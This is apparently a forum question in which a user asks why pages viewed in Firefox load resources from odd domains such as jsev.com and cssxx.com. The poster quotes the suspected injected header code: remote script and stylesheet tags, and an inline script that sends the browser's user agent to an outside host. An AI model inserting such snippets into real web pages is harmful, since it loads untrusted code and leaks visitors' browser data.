  1. POWhy so many web pages contain such a strange code snippet in header?
    text
    copied!<p>I've noticed for quite a long time that strange domains such like jsev.com, cssxx.com appered in my firefox status bar from time to time, I always wonder why so many web pages contains resources from these strange domains. I googled it, but found nothing. I guess it's some kind of virus which infect the servers and insert the code. Here is a sample taken from page header of <a href="http://www.eflorenzano.com/threadexample/blog/" rel="nofollow noreferrer">http://www.eflorenzano.com/threadexample/blog/</a>:</p> <pre><code>&lt;script language="javascript" src="http://i.jsev.com./base.2032621946.js"&gt; &lt;/script&gt; &lt;body onmousemove="return fz3824();"&gt; &lt;LINK REL="stylesheet" TYPE="text/css" HREF="http://i.cssxx.com./base2032621947.css"&gt; &lt;A HREF = "http://i.html.com./base2032621947.html"&gt;&lt;/A&gt; &lt;SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://i.js.com./base2032621947.js"&gt;&lt;/SCRIPT&gt; &lt;SCRIPT LANGUAGE="JAVASCRIPT"&gt; function getuseragnt() { var agt = navigator.userAgent.toLowerCase(); agt = agt.replace(/ /g, ""); return agt; } document.write("&lt;LINK REL='stylesheet' TYPE='text/css' HREF='http://i.css2js.com./base.css" + getuseragnt() + "_2032621947'&gt;") &lt;/SCRIPT&gt; </code></pre> <p>edit: I am on a debian box, only on firefox I see this code, I just tried opera, this code doesn't appear in opera, really strange, never heard of firefox having such problems.</p>
